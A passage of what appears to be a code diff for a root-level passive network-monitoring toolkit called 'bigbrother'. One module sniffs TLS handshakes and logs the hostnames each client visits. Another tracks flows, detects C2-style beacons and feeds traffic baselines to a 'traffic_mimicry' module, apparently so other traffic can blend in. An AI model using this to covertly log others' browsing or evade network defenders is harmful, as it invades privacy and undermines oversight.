handshake messages and extracts the Server Name Indication (SNI) extension.
Handles fragmented ClientHello across multiple TCP segments via a reassembly
buffer keyed on (src_ip, src_port, dst_ip, dst_port).
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import OrderedDict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.tls_sni_extractor")
# TLS record types
TLS_HANDSHAKE = 22
# TLS handshake types
TLS_CLIENT_HELLO = 1
# TLS extension type for SNI
EXT_SNI = 0x0000
# TLS version mapping
TLS_VERSIONS = {
0x0300: "SSLv3",
0x0301: "TLS 1.0",
0x0302: "TLS 1.1",
0x0303: "TLS 1.2",
0x0304: "TLS 1.3",
}
# Max reassembly buffer entries (prevent memory leak from orphaned streams)
MAX_REASSEMBLY_ENTRIES = 10000
# Max age for reassembly buffer entries (seconds)
REASSEMBLY_TIMEOUT = 30
class TLSSNIExtractor(BaseModule):
"""Extract SNI hostnames from TLS ClientHello messages."""
name = "tls_sni_extractor"
module_type = "passive"
priority = 100
requires_root = True
BATCH_SIZE = 500
FLUSH_INTERVAL = 60
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_sni = 0
# TCP reassembly buffer: (src,sport,dst,dport) -> (data, timestamp)
self._reassembly: OrderedDict = OrderedDict()
self._reassembly_lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("TLSSNIExtractor requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "tls_sni.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="tcp port 443", queue_depth=8000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-sni-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-sni-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("TLSSNIExtractor started — monitoring TLS on port 443")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("TLSSNIExtractor stopped — %d SNIs extracted", self._total_sni)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_sni": self._total_sni,
"buffer_size": len(self._buffer),
"reassembly_entries": len(self._reassembly),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS tls_sni (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
dest_port INTEGER NOT NULL,
sni TEXT NOT NULL,
tls_version TEXT
);
CREATE INDEX IF NOT EXISTS idx_sni_source ON tls_sni(source_ip);
CREATE INDEX IF NOT EXISTS idx_sni_hostname ON tls_sni(sni);
CREATE INDEX IF NOT EXISTS idx_sni_ts ON tls_sni(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet -> IPv4 -> TCP -> TLS ClientHello."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload_offset = tcp_offset + tcp_hdr_len
payload = raw[payload_offset:]
if not payload:
return
# Try to extract SNI from this payload (possibly with reassembly)
flow_key = (src_ip, src_port, dst_ip, dst_port)
self._process_tls_payload(ts, flow_key, payload, src_ip, dst_ip, dst_port)
def _process_tls_payload(self, ts: float, flow_key: tuple,
payload: bytes, src_ip: str, dst_ip: str,
dst_port: int) -> None:
"""Parse TLS records from TCP payload, with reassembly for fragments."""
# Check if we have buffered data for this flow
with self._reassembly_lock:
if flow_key in self._reassembly:
prev_data, _ = self._reassembly.pop(flow_key)
payload = prev_data + payload
# Try to parse TLS record
offset = 0
while offset < len(payload):
if len(payload) - offset < 5:
# Not enough for TLS record header — buffer for reassembly
self._buffer_fragment(flow_key, payload[offset:], ts)
return
content_type = payload[offset]
tls_version = struct.unpack("!H", payload[offset + 1:offset + 3])[0]
record_length = struct.unpack("!H", payload[offset + 3:offset + 5])[0]
if content_type != TLS_HANDSHAKE:
return
if record_length > 16384: # Max TLS record size
return
if len(payload) - offset - 5 < record_length:
# Fragmented — buffer remaining data
self._buffer_fragment(flow_key, payload[offset:], ts)
return
record_data = payload[offset + 5:offset + 5 + record_length]
sni, version_str = self._parse_client_hello(record_data, tls_version)
if sni:
self._total_sni += 1
record = (ts, src_ip, dst_ip, dst_port, sni, version_str)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
return # Only care about the first ClientHello per connection
offset += 5 + record_length
def _buffer_fragment(self, flow_key: tuple, data: bytes, ts: float) -> None:
"""Buffer a TCP fragment for reassembly."""
with self._reassembly_lock:
self._reassembly[flow_key] = (data, ts)
# Evict oldest entries if buffer too large
while len(self._reassembly) > MAX_REASSEMBLY_ENTRIES:
self._reassembly.popitem(last=False)
# Evict expired entries periodically
now = time.time()
expired = [k for k, (_, t) in self._reassembly.items()
if now - t > REASSEMBLY_TIMEOUT]
for k in expired:
self._reassembly.pop(k, None)
@staticmethod
def _parse_client_hello(data: bytes, record_tls_version: int) -> tuple:
"""Parse a TLS Handshake record to extract SNI from ClientHello.
Returns (sni_hostname, tls_version_string) or (None, None).
"""
if len(data) < 4:
return None, None
handshake_type = data[0]
if handshake_type != TLS_CLIENT_HELLO:
return None, None
# Handshake length (3 bytes)
hs_length = struct.unpack("!I", b"\x00" + data[1:4])[0]
if len(data) < 4 + hs_length:
return None, None
offset = 4
# ClientHello: version(2) + random(32) + session_id_len(1) + ...
if offset + 34 > len(data):
return None, None
client_version = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2 + 32 # skip version + random
# Session ID
if offset >= len(data):
return None, None
session_id_len = data[offset]
offset += 1 + session_id_len
# Cipher suites
if offset + 2 > len(data):
return None, None
cipher_suites_len = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2 + cipher_suites_len
# Compression methods
if offset >= len(data):
return None, None
comp_methods_len = data[offset]
offset += 1 + comp_methods_len
# Extensions
if offset + 2 > len(data):
return None, None
extensions_len = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2
extensions_end = offset + extensions_len
if extensions_end > len(data):
extensions_end = len(data)
# Determine TLS version — check for supported_versions extension (0x002b)
# which overrides the record-layer version for TLS 1.3
detected_version = client_version
sni_hostname = None
ext_offset = offset
while ext_offset + 4 <= extensions_end:
ext_type = struct.unpack("!H", data[ext_offset:ext_offset + 2])[0]
ext_len = struct.unpack("!H", data[ext_offset + 2:ext_offset + 4])[0]
ext_data_start = ext_offset + 4
ext_data_end = ext_data_start + ext_len
if ext_data_end > extensions_end:
break
if ext_type == EXT_SNI:
# SNI extension: list_length(2), type(1)=0 (hostname), name_length(2), name
sni_data = data[ext_data_start:ext_data_end]
sni_hostname = _parse_sni_extension(sni_data)
elif ext_type == 0x002B:
# supported_versions extension — pick highest version
sv_data = data[ext_data_start:ext_data_end]
if len(sv_data) >= 1:
sv_list_len = sv_data[0]
sv_offset = 1
max_ver = 0
while sv_offset + 2 <= 1 + sv_list_len and sv_offset + 2 <= len(sv_data):
ver = struct.unpack("!H", sv_data[sv_offset:sv_offset + 2])[0]
if ver > max_ver:
max_ver = ver
sv_offset += 2
if max_ver > 0:
detected_version = max_ver
ext_offset = ext_data_end
version_str = TLS_VERSIONS.get(detected_version, f"0x{detected_version:04x}")
return sni_hostname, version_str
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("SNI flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO tls_sni (timestamp, source_ip, dest_ip, dest_port, sni, tls_version) "
"VALUES (?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d SNI records", len(batch))
def _parse_sni_extension(data: bytes) -> Optional[str]:
"""Parse the SNI extension data to extract the hostname."""
if len(data) < 5:
return None
sni_list_len = struct.unpack("!H", data[0:2])[0]
offset = 2
while offset + 3 <= len(data) and offset < 2 + sni_list_len:
name_type = data[offset]
name_len = struct.unpack("!H", data[offset + 1:offset + 3])[0]
offset += 3
if offset + name_len > len(data):
break
if name_type == 0: # host_name
try:
return data[offset:offset + name_len].decode("ascii")
except UnicodeDecodeError:
return data[offset:offset + name_len].decode("utf-8", errors="replace")
offset += name_len
return None
+479
View File
@@ -0,0 +1,479 @@
#!/usr/bin/env python3
"""Network traffic analysis — flow tracking, top talkers, beacon detection.
Subscribes to all capture_bus traffic. Tracks:
- Flows by 5-tuple (src_ip, dst_ip, src_port, dst_port, proto)
- Protocol distribution percentages
- Top talkers by bytes and packets
- Beacon detection: regular-interval connections (C2 indicators)
- Bandwidth profiling per host
Feeds baseline data to traffic_mimicry module via bus events.
"""
import logging
import math
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.traffic_analyzer")
# Protocol number to name mapping
PROTO_NAMES = {
1: "ICMP", 6: "TCP", 17: "UDP", 47: "GRE",
50: "ESP", 51: "AH", 58: "ICMPv6",
}
# Beacon detection thresholds
BEACON_MIN_CONNECTIONS = 10 # Minimum connections to analyze
BEACON_JITTER_THRESHOLD = 0.15 # Max jitter ratio (stddev/mean) for beacon
BEACON_MIN_INTERVAL = 5.0 # Minimum interval to consider (seconds)
BEACON_MAX_INTERVAL = 7200.0 # Maximum interval to consider (seconds)
class TrafficAnalyzer(BaseModule):
"""Analyze network traffic patterns, flows, and detect beacons."""
name = "traffic_analyzer"
module_type = "passive"
priority = 150
requires_root = True
FLUSH_INTERVAL = 300 # 5 minutes
BEACON_CHECK_INTERVAL = 600 # 10 minutes
STATS_PUBLISH_INTERVAL = 120 # 2 minutes
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._beacon_thread: Optional[threading.Thread] = None
self._stats_thread: Optional[threading.Thread] = None
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
# Flow table: (src_ip, dst_ip, src_port, dst_port, proto) -> FlowRecord
self._flows = {}
self._flows_lock = threading.Lock()
# Per-host stats
self._host_bytes = defaultdict(int) # ip -> total bytes
self._host_packets = defaultdict(int) # ip -> total packets
self._host_lock = threading.Lock()
# Protocol distribution
self._proto_bytes = defaultdict(int) # proto_name -> bytes
self._proto_packets = defaultdict(int) # proto_name -> packets
self._proto_lock = threading.Lock()
# Connection timestamps for beacon detection: (src, dst, dport) -> [timestamps]
self._conn_times = defaultdict(list)
self._conn_lock = threading.Lock()
self._total_packets = 0
self._total_bytes = 0
self._detected_beacons = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("TrafficAnalyzer requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "traffic_flows.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Subscribe to all traffic (no BPF filter)
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=15000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-traffic-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-traffic-flusher"
)
self._flusher_thread.start()
self._beacon_thread = threading.Thread(
target=self._beacon_loop, daemon=True, name="bb-traffic-beacon"
)
self._beacon_thread.start()
self._stats_thread = threading.Thread(
target=self._stats_loop, daemon=True, name="bb-traffic-stats"
)
self._stats_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("TrafficAnalyzer started — monitoring all traffic")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_flows()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"TrafficAnalyzer stopped — %d total packets, %d flows, %d beacons detected",
self._total_packets, len(self._flows), len(self._detected_beacons),
)
def status(self) -> dict:
with self._flows_lock:
flow_count = len(self._flows)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_packets": self._total_packets,
"total_bytes": self._total_bytes,
"active_flows": flow_count,
"detected_beacons": len(self._detected_beacons),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS flows (
id INTEGER PRIMARY KEY AUTOINCREMENT,
src_ip TEXT NOT NULL,
dst_ip TEXT NOT NULL,
src_port INTEGER,
dst_port INTEGER,
proto TEXT NOT NULL,
bytes_total INTEGER NOT NULL DEFAULT 0,
packets INTEGER NOT NULL DEFAULT 0,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
is_beacon INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_flow_src ON flows(src_ip);
CREATE INDEX IF NOT EXISTS idx_flow_dst ON flows(dst_ip);
CREATE INDEX IF NOT EXISTS idx_flow_beacon ON flows(is_beacon);
CREATE INDEX IF NOT EXISTS idx_flow_first ON flows(first_seen);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Extract flow information from each packet."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800: # IPv4 only
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
total_len = struct.unpack("!H", ip_hdr[2:4])[0]
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
src_port = 0
dst_port = 0
if ip_proto in (6, 17): # TCP or UDP
transport_offset = ip_offset + ihl
if len(raw) >= transport_offset + 4:
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
proto_name = PROTO_NAMES.get(ip_proto, str(ip_proto))
pkt_size = total_len
self._total_packets += 1
self._total_bytes += pkt_size
# Update flow table
flow_key = (src_ip, dst_ip, src_port, dst_port, proto_name)
with self._flows_lock:
if flow_key not in self._flows:
self._flows[flow_key] = {
"bytes_total": 0, "packets": 0,
"first_seen": ts, "last_seen": ts,
"is_beacon": False,
}
flow = self._flows[flow_key]
flow["bytes_total"] += pkt_size
flow["packets"] += 1
flow["last_seen"] = ts
# Update per-host stats
with self._host_lock:
self._host_bytes[src_ip] += pkt_size
self._host_packets[src_ip] += 1
self._host_bytes[dst_ip] += pkt_size
self._host_packets[dst_ip] += 1
# Update protocol distribution
with self._proto_lock:
self._proto_bytes[proto_name] += pkt_size
self._proto_packets[proto_name] += 1
# Record connection timestamps for beacon detection (TCP SYN only)
if ip_proto == 6 and len(raw) >= ip_offset + ihl + 14:
tcp_flags = raw[ip_offset + ihl + 13]
if tcp_flags & 0x02 and not (tcp_flags & 0x10): # SYN without ACK
conn_key = (src_ip, dst_ip, dst_port)
with self._conn_lock:
timestamps = self._conn_times[conn_key]
timestamps.append(ts)
# Keep only last 1000 timestamps per connection tuple
if len(timestamps) > 1000:
self._conn_times[conn_key] = timestamps[-1000:]
# ------------------------------------------------------------------
# Beacon detection
# ------------------------------------------------------------------
def _beacon_loop(self) -> None:
"""Periodically check for beacon-like connection patterns."""
while self._running:
time.sleep(self.BEACON_CHECK_INTERVAL)
try:
self._detect_beacons()
except Exception:
logger.exception("Beacon detection error")
def _detect_beacons(self) -> None:
"""Analyze connection timestamps for regular-interval patterns."""
with self._conn_lock:
conn_snapshot = {k: list(v) for k, v in self._conn_times.items()
if len(v) >= BEACON_MIN_CONNECTIONS}
new_beacons = []
for conn_key, timestamps in conn_snapshot.items():
src_ip, dst_ip, dst_port = conn_key
if len(timestamps) < BEACON_MIN_CONNECTIONS:
continue
# Calculate inter-arrival intervals
timestamps.sort()
intervals = [timestamps[i + 1] - timestamps[i]
for i in range(len(timestamps) - 1)]
if not intervals:
continue
# Filter to reasonable beacon intervals
valid_intervals = [i for i in intervals
if BEACON_MIN_INTERVAL <= i <= BEACON_MAX_INTERVAL]
if len(valid_intervals) < BEACON_MIN_CONNECTIONS - 1:
continue
mean_interval = sum(valid_intervals) / len(valid_intervals)
if mean_interval == 0:
continue
# Calculate jitter (standard deviation / mean)
variance = sum((i - mean_interval) ** 2 for i in valid_intervals) / len(valid_intervals)
stddev = math.sqrt(variance)
jitter_ratio = stddev / mean_interval
if jitter_ratio <= BEACON_JITTER_THRESHOLD:
beacon_info = {
"src_ip": src_ip,
"dst_ip": dst_ip,
"dst_port": dst_port,
"mean_interval": round(mean_interval, 2),
"jitter_ratio": round(jitter_ratio, 4),
"connection_count": len(timestamps),
"first_seen": timestamps[0],
"last_seen": timestamps[-1],
}
new_beacons.append(beacon_info)
# Mark flows as beacons
with self._flows_lock:
for proto in ("TCP", "6"):
flow_key = (src_ip, dst_ip, 0, dst_port, proto)
if flow_key in self._flows:
self._flows[flow_key]["is_beacon"] = True
self.bus.emit("BEACON_DETECTED", beacon_info, source_module=self.name)
logger.warning(
"BEACON: %s -> %s:%d interval=%.1fs jitter=%.2f%% count=%d",
src_ip, dst_ip, dst_port, mean_interval,
jitter_ratio * 100, len(timestamps),
)
self._detected_beacons = new_beacons
# ------------------------------------------------------------------
# Statistics publishing
# ------------------------------------------------------------------
def _stats_loop(self) -> None:
"""Periodically publish traffic statistics for other modules."""
while self._running:
time.sleep(self.STATS_PUBLISH_INTERVAL)
try:
self._publish_stats()
except Exception:
logger.exception("Stats publish error")
def _publish_stats(self) -> None:
"""Publish traffic baseline stats (for traffic_mimicry)."""
# Protocol distribution
with self._proto_lock:
proto_dist = dict(self._proto_bytes)
total_proto_bytes = sum(proto_dist.values())
if total_proto_bytes > 0:
proto_pct = {k: round(v / total_proto_bytes * 100, 1)
for k, v in proto_dist.items()}
else:
proto_pct = {}
# Top talkers (by bytes, top 20)
with self._host_lock:
host_bytes_snapshot = dict(self._host_bytes)
top_talkers = sorted(host_bytes_snapshot.items(), key=lambda x: x[1], reverse=True)[:20]
# Store baseline in state for traffic_mimicry
self.state.set(self.name, "protocol_distribution", proto_pct)
self.state.set(self.name, "top_talkers", [
{"ip": ip, "bytes": b} for ip, b in top_talkers
])
self.state.set(self.name, "total_bytes", self._total_bytes)
self.state.set(self.name, "total_packets", self._total_packets)
# ------------------------------------------------------------------
# Public query methods
# ------------------------------------------------------------------
def get_top_talkers(self, n: int = 10, by: str = "bytes") -> list:
"""Return top N talkers by bytes or packets."""
with self._host_lock:
if by == "packets":
data = dict(self._host_packets)
else:
data = dict(self._host_bytes)
sorted_hosts = sorted(data.items(), key=lambda x: x[1], reverse=True)[:n]
return [{"ip": ip, by: val} for ip, val in sorted_hosts]
def get_protocol_distribution(self) -> dict:
"""Return protocol distribution as percentages."""
with self._proto_lock:
total = sum(self._proto_bytes.values())
if total == 0:
return {}
return {k: round(v / total * 100, 2) for k, v in self._proto_bytes.items()}
def get_detected_beacons(self) -> list:
"""Return list of detected beacon connections."""
return list(self._detected_beacons)
# ------------------------------------------------------------------
# Flow flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_flows()
except Exception:
logger.exception("Flow flush error")
def _flush_flows(self) -> None:
"""Write flow table to SQLite."""
with self._flows_lock:
flows_snapshot = dict(self._flows)
if not flows_snapshot or not self._db_conn:
return
try:
for flow_key, flow_data in flows_snapshot.items():
src_ip, dst_ip, src_port, dst_port, proto = flow_key
self._db_conn.execute(
"""INSERT INTO flows
(src_ip, dst_ip, src_port, dst_port, proto,
bytes_total, packets, first_seen, last_seen, is_beacon)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT DO NOTHING
""",
(src_ip, dst_ip, src_port, dst_port, proto,
flow_data["bytes_total"], flow_data["packets"],
flow_data["first_seen"], flow_data["last_seen"],
int(flow_data.get("is_beacon", False))),
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d flows", len(flows_snapshot))